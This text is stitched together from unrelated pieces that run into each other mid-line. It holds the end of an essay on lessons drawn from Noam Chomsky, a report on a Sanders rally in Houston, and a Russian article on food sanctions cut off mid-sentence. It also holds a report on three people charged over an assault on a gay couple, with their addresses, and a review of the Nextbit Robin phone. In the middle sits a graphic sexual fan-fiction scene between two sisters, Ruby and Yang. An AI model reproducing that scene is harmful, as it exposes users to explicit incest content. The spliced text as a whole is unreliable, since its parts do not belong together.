Chomsky follows this principle through in a number of respects. Throughout his life, he has preferred to give talks to small activists, church groups, and community organizations rather than to students at Ivy League schools (partly because he believes the latter are less likely to listen to anything). His writings can be complex, and sometimes require a lot of patience and mental effort, but they are never intentionally “difficult,” and their meanings are always clear. Unlike many academics, who bury their points in layers of specialty jargon, Chomsky believes the job of a writers is to communicate the point, and to do so successfully.
Skepticism of Status
This one is a particularly important one for me. Chomsky’s principle is that you should examine the quality of ideas themselves rather than the credentials of those voicing them. This sounds easy enough, but it isn’t: In life, we’re constantly expected to defer to the superior wisdom of people who have superior status, but whom we’re pretty sure don’t know what they’re talking about. There’s always a little part of us that goes “Well, I know it sounds like he doesn’t know what he’s talking about, but he’s my professor/priest/superior so perhaps I’m just stupid.” Chomsky talks a lot about the way social status and privilege are generated; rewards and accolades often flow to people not on the basis of their superior knowledge, but on the basis of their ability to convince people that they have superior knowledge, which is quite a different thing entirely. People at the top often try to convince those at the bottom that you get to the top by being smart. In fact, Chomsky says, success is probably driven by the possession of “some combination of greed, cynicism, obsequiousness and subordination, lack of curiosity and independence of mind, self-serving disregard for others, and who knows what else.” Education, he says, selects for passivity: You do well if you flatter your teachers by repeating what they think, you do less well if you refuse to go along with the assignments you’re given because you think they’re stupid.
The education system in the United States, Chomsky suggests, does not really educate. It subdues. A genuine education involves helping someone through a process of self-discovery and curiosity, not just learning to regurgitate facts. Thus, because the people who do best in our current education system are those who got the most As, as opposed to those who developed their minds the most, we shouldn’t trust a person to be wise just because they’re educated. This is something a lot of people realize intuitively, but there are still a lot of “educated fools” who are listened to and given a lot of credence.
But what I love about Chomsky is that this isn’t an embrace of ignorance or “anti-intellectualism.” It’s anti-intellectual in that Chomsky opposes the idea of having a “secular priesthood” of intellectuals who “who are a special class who are in the business of imposing thoughts.” But it’s not anti-intellectual if intellectual means the use of the mind; in fact, this is precisely what Chomsky is encouraging. And it doesn’t mean that you shouldn’t learn from experts. Rather it means that you should try to critically evaluate what an expert says, and determine on your own whether to accept it, and that you should judge an expert by her ideas rather than her curriculum vitae.
Self-Critical Science
Noam Chomsky’s view of the correct way to do “science” is instructive. Many people on the left are critical of “science,” or what they call “scientism,” because they believe that it imposes some kind of rigid “technocratic” or “Enlightenment” framework on how humans should think, suggesting that Western forms of reasoning are superior and insisting on a kind of “certainty” about scientific belief that ignores differing points of view. In turn, many people in the sciences reinforce this conception by defending a dogmatic conception of science; people like Sam Harris and Richard Dawkins, who use mockery to defend what they call “reason,” affirm the worst stereotypes about the “scientistic mindset” that cannot see its ignorance due to its certainty of its own rationality.
Chomsky’s conception of science is much more helpful, and once again illustrates his ability to get beyond simple binaries (i.e., you either accept “scientific fact” or you dismiss the “scientistic mentality”). Chomsky (and to be fair, he is hardly alone in this) views science as uncertainty rather than certainty. The scientific approach to understanding the world is an effort to do the best you can given the limits of your reason, but far from being blind to those limits, they are themselves a central subject for scientific investigation.
In fact, even though he is definitely a defender of the “Enlightenment tradition” insofar as he believes in using reason and logic to solve problems, Chomsky has voiced some of the most serious doubts of anyone in the sciences of human beings’ potential to fully understand the world. Chomsky encourages us to appreciate that, because we are biological creatures, our capacities are very limited. Despite our unique faculties, we are more like pigs than like angels, and for us to assume we can ever achieve full knowledge of the universe is not much different from a pig thinking they could understand it. Much of Chomsky’s work has been on how human beings’ innate capacities structure their thinking, and if that’s your starting point, you will be a skeptic about how much science can ever hope to truly accomplish given the finite abilities of our brains and bodies. (Chomsky divides scientific questions into “puzzles,” which can potentially be solved, and “mysteries,” which may be beyond the limits of human comprehension. Consciousness and free will, for example, may simply be mysteries that our biological limitations will always prevent us from investigating deeply. See: Chomsky on Mysterianism)
I like this point of view because I think it charts a helpful course between the extreme of “scientific certitude” and what we might call “radical relativism.” It suggests that we should investigate the universe using scientific tools, but that the phrase “scientific tools” doesn’t refer to certainty and confidence, but to doubt, curiosity, and a cognizance of our own limitations. Science is not about declaring that you know what the universe is, it’s about trying to think about the best explanations. Testing hypotheses, discarding hypotheses, asking yourself why you’re testing hypotheses to begin with, asking yourself what you even mean by the word hypothesis, etc.
It also helpfully collapses the distinction between science and philosophy. Inquiring into how you know what you know is part of the scientific process, not something separate from it. Chomsky is a lot more like the broad-mined “natural scientists” of the 18th century than the highly specialized academics of today. “Natural science” didn’t see a dividing line between science and philosophy; instead, it saw one task: understanding as much as possible, with whatever tools we have available. Reason is a critical part of that, but reason must also be used to recognize the boundaries of its own capacities.
For libertarian socialists, science is also conceived of as mirroring the process of participatory democracy: Knowledge is pursued as a collective enterprise, with each person giving their bit, never reaching perfection, but hopefully moving us towards a better and more knowledgeable state of affairs. Like democracy, it is messy, and moves in fits and starts, but it’s the best means we know of of trying to come to understand the universe together, just as democracy is the best means we know of for trying to govern ourselves.
Commitment to Open Inquiry
Because the libertarian socialist tradition has always so strongly valued freedom and deliberative democracy, it has a strong commitment to freedom of expression. Unlike many forms of authoritarian socialism, which swiftly produce justifications for why certain forms of reactionary speech must be suppressed for the good of the multitude (or because “speech is power and power is hierarchy” or any other justification you like), libertarian socialists generally believe very strongly in permitting all points of view and generally look skeptically on efforts to respond to morally objectionable speech with censorship rather than with more rational and persuasive speech.
Noam Chomsky’s commitment to radical free speech has landed him in trouble before, even with other members of the left. Most notoriously, he wrote in support of the free speech rights of Robert Faurisson, a French literature professor who had denied the existence of Nazi gas chambers and called Anne Frank’s diary a forgery. Faurisson was dismissed from his position, repeatedly convicted in the French criminal courts, and even brutally beaten and sprayed with stinging gas. Chomsky, who has called the Holocaust “the most fantastic outburst of collective insanity in human history,” wrote an essay defending Faurisson’s right to free speech and signed a petition drafted by Faurisson’s (Holocaust-denying) supporters calling for him to be allowed to freely publish his “findings” and for the government to “do everything possible to ensure [Faurisson’s] safety and the free exercise of his legal rights.” French intellectuals pilloried Chomsky for his support of Faurisson, and he has repeatedly been accused of being an apologist for Holocaust denial.
It’s strange that anyone would think Chomsky sympathetic to Holocaust denial. After all, socialists despise Hitler, who liquidated leftists by the score. But once again, binary thinking takes hold: If you “support” someone, it is impossible to support them for the narrow and limited purpose of believing we should get to hear and examine whatever argument and evidence they think they have produced about the Holocaust. You must either endorse their conclusions or not support them at all. But this way of thinking leads to the curtailment of rights for those who we find reprehensible, and when rights don’t exist for those people, they don’t exist at all: “Goebbels was in favor of free speech for views he liked. So was Stalin. If you’re really in favor of free speech, then you’re in favor of freedom of speech for precisely the views you despise. Otherwise, you’re not in favor of free speech.” See: Chomsky on Free Speech
Critiquing Power Without Conspiracy Theories
Noam Chomsky is sometimes accused of holding the “smoke-filled room” view of politics: Everything is a grand conspiracy among the powerful to oppress the powerless. In fact, this is precisely the opposite of the Chomsky view of conspiracy. The real view is, again, a thing of nuance: the belief that oppression does not require a conspiracy, and that the “smoke-filled room” concept misunderstands how power works.
Chomsky is a consistent critic of conspiracy theories. Why? Because generally there doesn’t need to be any kind of “conspiracy” to create the kinds of gross inequalities and cruelties we see in our society. Most of it is right out in the open. Furthermore, conspiracy theories overcomplicate things. For example, in order to believe the “Bush did 9/11” conspiracy, you have to believe in an incredibly capable and competent government, that was able to plan and execute an extraordinary destructive act, without anyone leaking or blowing the whistle at any of the many levels it would have required to do such a thing. That requires a view of government competence that is hard to maintain. A far simpler, and more plausible theory, is simply that the Bush administration used the 9/11 attacks to its advantage, that it found them politically convenient for carrying out its preexisting plan to invade Iraq. That doesn’t require any kind of conspiracy. Likewise with the CIA: We know about many of the agency’s foul deeds; its murders, coups, and torture. The problem is not that the information is hidden in darkness, it’s nobody actually holds the agency accountable.
The same goes for Chomsky’s theory of the media, the so-called “manufacturing of consent.” It’s accused of being a conspiracy: People are stupefied by a corporate media that gathers to plot ways to control them. In fact, it’s nothing of the kind. It’s a theory based in economics and sociology more than anything else, a theory that says the media has no economic interest in providing serious informational content, that in a profit-driven media, the incentives are going to be toward providing entertainment rather than material that serves the public good and truly illuminates news consumers. That’s not the result of a malevolent conspiracy drawn up by executives who want to turn the public into zombies; it’s just what happens when people want to make a lot of money. Never attribute to conspiracy what can be explained by the operation of rational self-interest.
Simple Things Are The Most Complicated Things
Chomsky speaks frequently about how curiosity and the path to knowledge begin by doubting the things that seem most certain. As he says, “willingness to be puzzled by what seem to be obvious truths is the first step towards gaining understanding of how the world works.” His investigations into language, which ended up revolutionizing linguistics, were driven by the desire to answer simple questions, like: “Why is it that even young children are able to use language in so many different kinds of ways?” It often turns out that the simplest questions are the ones that are the most difficult to answer, or the ones that people have overlooked because they assume we already know the answers.
Chomsky’s willingness to ask very basic questions and ask simple things has strongly affected my own thinking. It’s easy to feel as if simple questions are stupid questions; there’s a fear of seeming childish by saying or asking something obvious. Getting over that fear was tremendously useful for me, because it enabled me to approach the questions that I felt were important but that it seemed as if everyone must already know the answers to. For example, it has led me to ask things like “Why don’t we talk about nuclear war more?”, “Why are public schools good?”, and “Are we talking about climate change in a useful way?” I spend more time wondering about issues I implicitly took for granted, like how I know what my values are and why I think the things I think. I wonder why people say certain things, or dress certain ways, or believe certain things. (In fact, Current Affairs began with a Chomsky-type “simple question”: Why is it that even though I’m a leftist, I don’t enjoy reading any of the leftist periodicals?) This willingness to look at the things you take for granted with a new kind of skepticism or puzzlement is an incredibly valuable tool, and can make you both more curious and more humble.
Not Liking Politics
Noam Chomsky was once asked which he enjoyed producing more, his linguistic writing or his political writing. The question apparently took him by surprise; he didn’t know why anyone would think he “enjoyed” doing his political writing. He did it because he felt morally compelled to do it, not because it was pleasurable.
I am skeptical of anyone who “likes” politics. Perhaps if we lived in a world without injustice, and we were just debating what color to paint the new village merry-go-round, it would be possible to find politics a source of enjoyment. But in a world where there are serious human stakes to politics, it is not a game. Chomsky came into political activism because he was horrified that hundreds of thousands of Vietnamese people were being doused with napalm by the United States military. The idea of “liking” politics seems perverse. Those who know Chomsky have said that he is motivated by a deep and sincere compassion for the victims of atrocities committed by his country; Fred Branfman recalled a visit with Chomsky to the site of U.S. bombing in Laos, where Chomsky wept after hearing stories from Laotian refugees, displaying the “most natural, human response” of the foreign visitors when compared with the stony journalists who simply took notes.
I’ve always been reminded by this to remember what “politics” is about: It isn’t pro wrestling, it isn’t a horse race. It’s the process that determines how power is going to be used. And so, while every life should have fun and pleasure and joy, ultimately there’s nothing fun when we’re talking about war and economic misery. (I think of that often now in the days where the follies of the Trump administration provide such an entertaining daily spectacle; meanwhile, the DHS continues to deport people’s families.)
Public Fearlessness, Private Generosity
Chomsky’s public persona appears somewhat prickly; he is serious, he is often acidic in his tone, and he can seem self-confident to the point of arrogance. To those, like Sam Harris, who have been on the receiving end of Chomsky’s somewhat merciless rhetoric, the idea of him as a “nice person” would seem strange.
And yet, Noam Chomsky is a nice person. Or at least, a person who is very kind and generous with his time. It’s well-known that Chomsky responds to nearly every email sent to him by a member of the public. And when he does so, he is never rude or patronizing. In fact, he is almost limitlessly patient. I know this from personal experience, having emailed him quite foolish questions several times, despite not knowing him at all personally. (He also gave me incredibly kind words of encouragement after I sent him a book I had written, which he read in full.) I’ve never seen anything quite like Chomsky’s willingness to engage with strangers. I know plenty of far less significant people who will only respond to people they deem notable or influential enough to be worth corresponding with, yet in keeping with the libertarian socialist principle that everyone is equal and deserves equal access to knowledge, Chomsky replies to them all. It makes me feel ashamed of my own terrible emailing skills; I have tens of thousands of emails in my inbox that I’ve failed to reply to as they’ve piled up. Meanwhile, nearly every single person who sends Chomsky a note gets a response.
The perception of Chomsky as “arrogant” arises largely from the fact that he doesn’t really care how he is perceived. In private, he is warm and generous, but in public he is a stern and uncompromising debater. There’s a kind of “selflessness” to him that I’ve never really seen in another person. He deprecates his own achievements in linguistics, he doesn’t care about awards or prestige, fame means nothing to him, and he takes no real pride in his political work. Instead, if you ask him, he says he feels like a failure for not having been able to do more good with his life. In Tom Wolfe’s ludicrously ill-informed recent book on Chomsky, Wolfe portrays him as haughty and self-important. But it’s a very strange thing: He isn’t this at all. He’s a genuinely humble person who cares about other people.
The “character” aspect has been just as important as any intellectual lesson for me. I always try to remind myself that I should be generous to strangers, should cultivate humility, and should always focus on the work rather than on the rewards.
No Gods, No Masters, No Idols
And yet here is the most important thing of all I’ve learned from Noam Chomsky: Noam Chomsky doesn’t really matter. I am confident that he would hate to see himself written about as some kind of personal role model or idol, because he believes that you’re supposed to care about the person’s ideas rather than the person. Chomsky has cited Marxism as an example of how the veneration of people can lead to absurdity: Your system of social analysis shouldn’t be “Marx”-ist, it should just be true. To the extent Marx was right, you can incorporate his ideas, and to the extent he was wrong, you should reject them. To subscribe to a dogmatic and personalized “ism,” though, is foolish; physicists don’t practice “Einsteinian” physics, they practice physics, and Einstein just happens to be a good physicist. It’s therefore somewhat ironic that people even speak of “Chomskyan linguistics,” since it’s a concept Chomsky himself would reject. (There’s also a scene in the film Captain Fantastic in which the central characters celebrate “Noam Chomsky Day” and sing worshipful songs about him; I am certain he would cringe to see it.)
I therefore don’t follow any kind of “Chomskyan” system, or see him as a “role model.” He is simply a person, a person from whom I happened to have learned a fair number of things. But I have learned many other things from many other people, and I will write about them too.
I also have a number of criticisms of Chomsky. I think he is often insufficiently skeptical of left-wing sources. I think he dismisses many arguments too quickly without being fair to them. I think his insistence that he doesn’t use “rhetoric” is false. I think he has too hastily signed his name to a couple of questionable things. I think he has maintained some mistaken positions too long in the face of contrary evidence. And there are plenty more.
But one of the great anarchist slogans is: No Gods, No Masters. The whole point is not to replace one idol with a better one, it’s to get rid of idols. I think Chomsky would be very concerned if I didn’t have criticisms. It would mean I had missed the entire point, which is that the truth is what matters, not the person investigating it, and since nobody has infallible access to truth, nobody should be beyond criticism. None of us is perfect, we’re all just doing the best we can.
If I were to summarize the main points I’ve taken from Chomsky’s writings and talks, they would be this: You should have both compassion and consistency, care about freedom and fairness alike, and be rational, curious, and humble. Note again that this doesn’t matter whether you are a linguist or a political scientist; it’s not the subject that matters so much as the method.
I have a crude generalization to offer (feel free to ignore it): People I have met whose political awakenings came through reading Chomsky have consistently tended to hold more humane and less dogmatic political beliefs than those whose political awakenings came through reading Karl Marx. I have met compassionate and thoughtful Marxists, and I have met obnoxious and unthinking Chomsky fans. But I believe that the way Chomsky introduces a person to politics, by offering observations and facts rather than an elaborate ideological structure, lends itself to more modesty and reflection than some of the more systematized political tendencies.
Of course, different people can come to the same destination by different paths, and the above lessons are not really “Chomsky lessons.” They are simple human principles, easily accessed by contemplation and reason. But for me, personally, it would have taken a lot longer to reach them if it weren’t for the guidance of Noam Chomsky, who has often been the one voice there to let me know that I’m not crazy, that the questions I have are reasonable, and that the thoughts I have are worth thinking.5,200 turn out to Sanders rally at UH Democrat delivers progressive message over income inequality, college tuition, big money
Democratic presidential candidate Bernie Sanders spreads his message Sunday at the University of Houston Hofheinz Pavilion. Democratic presidential candidate Bernie Sanders spreads his message Sunday at the University of Houston Hofheinz Pavilion. Photo: Gary Fountain, Freelance Photo: Gary Fountain, Freelance Image 1 of / 1 Caption Close 5,200 turn out to Sanders rally at UH 1 / 1 Back to Gallery
Democratic presidential candidate Bernie Sanders spread his progressive message of reducing income inequality, providing free college tuition and taking big money out of politics to Houstonians Sunday night at a packed arena on the University of Houston campus.
He implored his supporters to ask their Republican friends, families and co-workers if it makes sense to grant huge tax breaks for the rich while cutting spending on health care programs and federal student aid.
"Our job is to reach out to our Republican brothers and sisters, working-class people and middle class people, and get their heads right," Sanders said to a boisterous crowd of 5,200 people at UH's Hofheinz Pavilion.
The U.S. senator from Vermont was in Dallas earlier Sunday where he spoke to a crowd of some 7,000 people at a downtown hotel.
He said visiting Texas and other Republican-leaning states is a part of his campaign strategy.
"It's wrong for the Democratic Party to surrender half of the states in America," Sanders said. "The simple truth is you cannot be a national political party that claims to represent working families and low-income people and turn your back on some of the poorest states in America."
Before Sanders began his speech shortly after 7 p.m., supporters were buying buttons and T-shirts and taking their seats in the arena.
Among mounting turnout projections, Sanders' organizers decided Friday to move his speech to the roughly 8,500-seat pavilion. He was originally scheduled to appear at the University's smaller Cullen Performance Hall, which seats around 1,600.
Melanie Jackson, who attended with her husband and three children, including a baby she was balancing on her hip, said she likes Sanders' stance on the working class and his ideas on for raising taxes on the most wealthy Americans.
She was a little disappointed though when she got to the arena and realized it would not be a town-hall meeting where Sanders would take questions from the audience.
If she could have, she said she would have asked about his plan for effecting change in Washington.
"He has really strict ideology," said Jackson, a stay-at-home mom and trained paralegal. "How's he going to pull everyone together and get things passed?"
Others in the crowd were eager to hear his plan for easing student debt, increasing wages and improving race relations.
Recent appearances by Sanders, the leading rival to Hillary Rodham Clinton for the Democratic nomination, have drawn impressive numbers.
Earlier this month, more than 7,000 people showed up to see him in Portland, Maine, and he drew a crowd of nearly 10,000 in Madison, Wisc.
On Saturday night in Phoenix, he pulled in the biggest crowd of his campaign with more than 11,000 people, according to a press release citing figures from the Phoenix Convention Center.
"Everyone saw Hillary as the frontrunner, but Bernie has come to the forefront and now some think they may have another option," said Sydney Gibson, a 25-year old Rice University doctorate student, who attended the Houston rally.
Gibson said President Barack Obama did a good job of getting the young vote. Sanders, she said, is "a little unknown, but if he can get the younger crowd like Obama did he may have a chance."фото: Виктор Великжанин/ИТАР-ТАСС
В начале августа президент Владимир Путин запретил ввозить в Россию ряд европейских и американских продуктов питания: так страна ответила на третью волну западных санкций против отечественных банков и финансовых институтов. Пока политики и эксперты в Брюсселе и Вашингтоне подсчитывали убытки от эмбарго, российские чиновники уже сверлили дырки в новом, с иголочки, железном занавесе. Оказалось, что, принимая решение о запрете иностранной еды, они забыли про людей, страдающих непереносимостью лактозы, некоторыми формами диабета, редкими аллергиями и другими болезнями: в России нет или почти нет продуктов, которые они могут безопасно потреблять. Но в суматохе скорых решений об этих людях просто забыли. Спустя две недели после подписания громкого указа об эмбарго правительство уточнило собственное постановление о запрещенной еде, принятое по велению президента. Безлактозное молоко снова разрешили ввозить в страну, а заодно ликвидировали канал поставки в Россию европейской рыбы в обход запрета. В начале августа никто не сообразил, что норвежский лосось таки может добраться до Москвы и Санкт-Петербурга вопреки команде Путина, если привезти его в страну живым, а не разделанным.
Конец Политбюро 2.0
История про безлактозное молоко и живого лосося — яркий пример того, как принимаются сегодня в России решения государственной важности. До начала новой холодной войны считалось, что страной правит «Политбюро 2.0», эту концепцию разработал политолог Евгений Минченко. Под «политбюро» он имел ввиду несколько лидирующих бюрократических кланов, которые Путин умело ссорил, потом мирил, потом снова ссорил, сохраняя за собой функцию арбитра. В это «политбюро» или «большое правительство» входили несколько сотрудников Кремля, несколько вице-премьеров, |
Her body thrashed as trickles of her fluids poured all over Yang's fingers and onto the sheets. As her mighty orgasm died down, Yang hugged her twitching sister, her covered fingers grazing Ruby's chest, leaving trails of juice on her skin. "Yang,... I missed you so much." Ruby breathed to Yang's ear.
"Me too sis." Yang replied as she brought her coated hand to her mouth to taste her sister's climax. Ruby grabbed Yang's arm and inserted the fingers into her mouth, sucking her own arousal, eyes closed as she did so. "Hey! Leave some for me!" Yang snickered as she extracted her fingers from Ruby's mouth and proceeded to lick them clean, savoring the sweet taste of her little sister.
They tightened the embrace, getting closer to each other as their mouths met in passion filled kiss, sharing the taste once more. They kept making out, like there was no tomorrow, trails of saliva connecting them. They stopped to take a breath, looking into the others eyes. Their bodies were entwined, legs rubbing against each other, and their faces mere inches from one another as they stared deeply into their gazes. "I love you so much Ruby." Yang whispered as she kissed her sister's forehead, smelling the intoxicating aroma of her sister's hair; strawberries. "I've been waiting so long to do this again, it was driving me crazy." Yang teased Ruby as she moved downward, stealing another passionate kiss. Yang pinched her sister's nipple, forcing her to open her mouth and leaving her defenseless to the intrusion of Yang's tongue. Ruby didn't even have the chance to fight for dominance, her tongue swirling to the movement of Yang's as the blonde kept massaging her breasts. They only stopped when they were beginning to suffocate, panting heavily from the lack of air. Their bodies were coated with a thin layer of sweat due to their arousal raising the temperature around them. The two sisters opened their lustful eyes, looking directly at one another once again. Saliva gleamed off their chins and cheeks, drool running down their faces to splatter on the sheets. They knew how to be filthy and they loved it. Yang still had other plans in mind and she couldn't wait any longer. "I'm not done with you yet. I want you to cum again and again for me." Yang purred to her sister as she shifted position to be over her little sister.
Yang started her descent, licking and kissing every inch of skin she could see. She moved from her neck to her adorable tits, giving particular attention to both her nipples. She sucked hard on them and grinded her teeth, provoking a strong reaction from Ruby who couldn't stop squirming from the attention Yang gave her. Yang licked the small valley in between the two breasts and gave herself the freedom to motorboat her sister, making a mess at the same time. "Yang! You're going to cover me with spit!" Ruby giggled, a hand into Yang's dishevelled mane.
"By the end, you'll be covered by more than spit." Yang cooed as she kept moving south, now tracing circles with her tongue on Ruby's belly button. When Yang reached her destination, she took her time licking Ruby's shaven pubis and soft legs, instead of going directly to her sister's wet slit, wanting her to beg before she licked anything else.
It didn't take long before the sweet melody that was Ruby's whimpers were carried to Yang's ear. "Sis,... Please stop teasing me." Ruby mewled as Yang slowly licked her groin.
"You'll have to do better than that." Yang teased as she blew her hot breath directly on Ruby's engorged clit.
"Y-Yang, please for the love of Dust, stop teasing me." Ruby pleaded as Yang looked directly at her while licking her entire pussy. "Oh fu uck, I missed that tongue so much." Ruby murmured as Yang kept her movements long and drawn out, starting as low as her sister's asshole and licking to her clit. Ruby grabbed Yang's hair and shoved her face right on her needing twat, giving her no choice but to satisfy her dire need. Yang used her skilful tongue to explore the depth of her sister's entrance, lapping copious amount of juice that she greedily swallowed. "Shi-it Yang. Keep tongue fucking me." Ruby rasped as her breathing grew heavier, her hips bucking into Yang's mouth as she worked her magic. The room was filled with Ruby's moans of pleasure as Yang's tongue delved deeper into her sister's slit, lapping the sweet nectar from the source. Yang stroked Ruby's inner thigh as she looked up to find an arousing sight. Her sister, eyes closed, was fondling her breasts vigorously as the continuous surge of bliss overwhelmed her senses. Yang stopped her exploration to focus her attention on Ruby's clit. The sudden change of stimulation surprised the young huntress, leaving her breathless and unable to control her convulsing body. Ruby was getting closer to climax by the second. Yang's skilful tongue knew exactly where her weak spots are.
Yang wanted Ruby to scream and she knew exactly what to do to give her sister a thunderous orgasm. Yang flicked her tongue on Ruby's clit rapidly as her hand moved closer to Ruby's backdoor. Yang's lubricated fingers prodded Ruby's asshole, her middle finger slowly going deeper at every thrust. Two other fingers followed as her trust became more frantic. Ruby was a total anal addict and Yang used it to her advantage to finish her off, sucking hard on her clit as three of her fingers moved in and out from the other hole. "YANG, I'M CUMMING!" Ruby cried out as her asshole clenched hard and a powerful spray of cum splattered Yang's entire face and hair. Ruby couldn't control her body that jerked from the rippling waves of ecstasy, as she kept screaming with pleasure.
When the explosion was gone, Ruby looked down to see Yang's face splattered completely with her arousal, a grin spreading across her cheeks. "Wanna help me clean up?" Yang asked as she sat on the bed next to her sister that did the same. Ruby dragged her tongue on Yang's face, collecting her sweet juice, gulping it down until her sister's face was clean.
"That was amazing, I forgot how good it was." Ruby puffed, her forehead on Yang's and her eyes closed.
"We still have time before Blake and Weiss show up. Wanna take a shower with me? Like old times?" Yang asked as she kissed Ruby's neck.
"How can I say no to you sis? And besides, I don't think you came once and it's my duty to fix that." Ruby purred as she took Yang's hand and dragged her to the bathroom before closing the door behind them.
Two Sisters In Love
Author's Note: So I hope you enjoyed and thank you for reading my first Fic. Remember, Feedback and Comments are REALLY appreciated.
Thanks to Shonomi for his art. You can find him on Hentai-Foundry
Thanks to The Citrus Principle and OrganofFlames for their amazing help. You can find them Here
AWEAll three suspects accused of attacking of a gay couple in Center City Philadelphia earlier this month were arraigned overnight.Action News was there as all three left Philadelphia Police Central Detectives in Spring Garden.The suspects are:-Kevin J. Harrigan, 26, from the 1000 block of Gotland Circle in Warrington, Pa.-Kathryn G. Knott, 24, of the 1200 block of Melody Lane in Southampton, Pa.-Phillip Williams, 24, of the 100 block of Acorn Drive in Warminster, Pa.All three are charged with aggravated assault, criminal conspiracy, simple assault and recklessly endangering another person.They were charged in connection with the September 11th attack on two gay men in the 1600 block of Chancellor Street.Williams' attorney Fortunato Perri Jr. said Wednesday after Williams surrendered to police that the case was not related to anyone's sexual orientation, but was instead a "mutual confrontation" in which his client "was not the aggressor."PHOTOS:Meanwhile, because of the charges, Knott has been suspended from her job as an emergency room tech for Abington Health's Lansdale Hospital, where she has worked since 2011.In addition, Abington Health said it was investigating potential privacy violations involving Knott. This comes after reports that Knott posted pictures of patient x-rays to her Twitter account."Abington Health takes patient privacy and confidentiality very seriously and is fully investigating this matter," the hospital said in a statement.Action News has confirmed Knott is the daughter of Chalfont, Bucks County Police Chief Karl Knott.He was a lieutenant in Abington Township when his daughter tweeted about special treatment from her dad.One tweet claimed she went on a police raid and kicked down a door in December of 2012.Abington Police Chief Bill Kelly says the young woman was on a "legitimate ride along" but the rest was false. As for the other tweets, they also appear not be true."There's no allegation against any member of this police department that goes un-researched, regardless whether it's anonymous or how it comes in, we research it because we value the reputation of our police department," said Chief Kelly.Chief Kelly said he spoke with other officers and even Knott's father who he describes as an exemplary officer whom he's known for nearly 30 years.As for the investigation into the Center City attack, Knott's attorney, Louis Busico, has denied that the dispute was motivated by anti-gay bias."She played no role in this other than going out to dinner with friends the night this happened," Busico said outside Central Detectives on Wednesday. "We don't deny that there was a gentleman who was assaulted. We don't deny that this gentleman was injured. But I unequivocally deny that my client did anything to hurt this man; she wouldn't hurt anybody."The incident in question unfolded at 10:45 p.m. on Thursday, September 11th.Investigators say the victims, a 28-year-old man and a 27-year-old man, were in the 1600 block of Chancellor Street when police say they were approached by a group of 'unknown males and females.'The group of 10 to 12 people approached and, according to police,'made disparaging remarks about their sexual orientation.'That led to an attack, police say, with some of the suspects holding the victims while others punched them."This vicious attack shocked the entire country. An assault on people because of their sexual orientation has no place in Philadelphia," DA Seth Williams said in a statement.The two victims suffered serious facial injuries. They claim they were targeted for being homosexual and savagely beaten.Police say there were originally 10 to 12 suspects in the attack but, in the end, only three have been charged.Investigators say the reason the other suspects have not been charged will come out in court.As previously reported, none of the suspects can be charged with a hate crime under Pennsylvania law.On Tuesday, gay rights supporters turned out in force in Harrisburg to push for a change in Pennsylvania's hate crime law. "Three people's lives are about to change drastically and the victims are asking that everybody just keep their language respectful and not hateful," the victims' friend Caryn Kunkle.Kunkle says before the charges the victims spent more time Tuesday with Central Detectives and prosecutors."It's very emotionally taxing on them. They're still reliving it all. It's tough," Kunkle said.Because of the large group of potential suspects who were out on the town, police say the investigation took time.On Tuesday night, Action News asked Lt. John Stanford why police didn't arrest the suspects immediately."Well, it's a situation of which the attorneys made communication with us to bring the clients from the first place, as a courtesy, Central Detectives have reached out to the attorneys making it an easy process for them to come in as opposed to using additional resources," Stanford said.Last week, the Archdiocese of Philadelphia released a statement acknowledging that several former students of Archbishop Wood High School in Warminster, many 2007 graduates, were suspected in the attack.One of the persons of interest questioned last week was an assistant basketball coach at Archbishop Wood High School. He resigned because of his alleged involvement, but he is not one of the three involved in the crime.----The Associated Press contributed to this report.On Cloud Phones: A Nice Concept, but Rather Unnecessary Right Now
The cloud might be turning into an integral part of many users’ lives, but smartphones are not quite ready to fully rely on internet-dependent solutions for key storage and computing applications just yet.
This initial statement sounds blunt, but at the moment, the applications for integrated cloud storage and computing solutions are very limited. While it is true that plenty of what we use Google Services for relies not on our phone’s processor and storage but on the response from some far-away server, much of the bread and butter of Android today is still local. Apart from computing, there are hints of a transition towards web (and hybrid) apps and an even stronger push towards automatic cloud backups. It is this last point that we see most defined, as services with cloud storage are everywhere. And this is also where we meet the cloud phone, subject of this article, and one defined differently than ‘phones that can backup’.
We are now seeing the reviews of the first cloud-backup-oriented phone, the Nextbit Robin — a new concept for smartphones, but one that is not as useful as it sounds on its face. It’s nice to have, but it’d be nicer to have on another, more appropriate and perhaps future phone.
The Nextbit Robin, however, is a bad first example of what the technology can be useful for, and in many ways it shows many of the inherent issues with the cloud phone concept as it’s currently understood and demonstrated. Please let me elaborate below:
What would automatic file backups be useful for?
In order to solve a problem, we first must identify what the problem is, and what are its primary causes — in this case, what takes up the most storage on today’s smartphones. Applications are seldom huge, excluding the occasional outlier. More professional or bloated apps can exceed the hundred megabyte mark, but more often than not, it is mobile games that reach 500MB and beyond. Some of the particularly heavy games can take up to 2GB in total — and this is, I think, where the huge storage hoggers typically come from in the application-side of things.
“The average consumer will most likely face the storage plight through an excess of media or applications” Then we have the other obvious problem, and that is media. Both pictures and video can take up huge chunks of storage, the first usually through sheer volume, and the second through large file sizes — especially in the age of 4K video.
So it is movies and images, or personal videos and photos, that also end up eating away at our storage. If there is one instance where I have personally seen “out of storage” boxes, it’s when using the camera app for an extended period of time. There are, of course, other kind of big files that can take plenty of room in our phones. If you use your smartphone as a portable drive, for example, you are likely to have a bunch of files that do not necessarily fall in the categories above, such as projects, resources, etc.
But the average consumer will most likely face the storage plight through an excess of media or applications (and especially games). So how does the new cloud-phone, the Robin, tackle the issue? First of all, it can backup up to 100GB, but only in applications and pictures — not video. This is also where the Robin falls short in the overall sum, because the phone is not designed around making its primary feature worthwhile.
The Robin and its Camera
The Nextbit Robin features a 13MP camera with a Samsung ISOCELL sensor, and from what we’ve seen in reviews, it is far from the greatest shooter. Reviewers noted that the camera is slow to launch, slow to focus, and that the resulting pictures are not very great anyway — some even called it “a major weakpoint”. Having a primary feature of the phone centered, in great part, around backing up pictures makes less sense if the pictures taken are not very good in the first place.
“Backing up pictures as a selling point makes less sense if the pictures are not very good in the first place” What makes this particular point less compelling is that you don’t need a Robin to back-up pictures — there have been plenty of services that did this before (way before) the Robin, and Google Photos (pre-installed in many phones) can back-up pictures as well (with very intelligent categorization, at that).
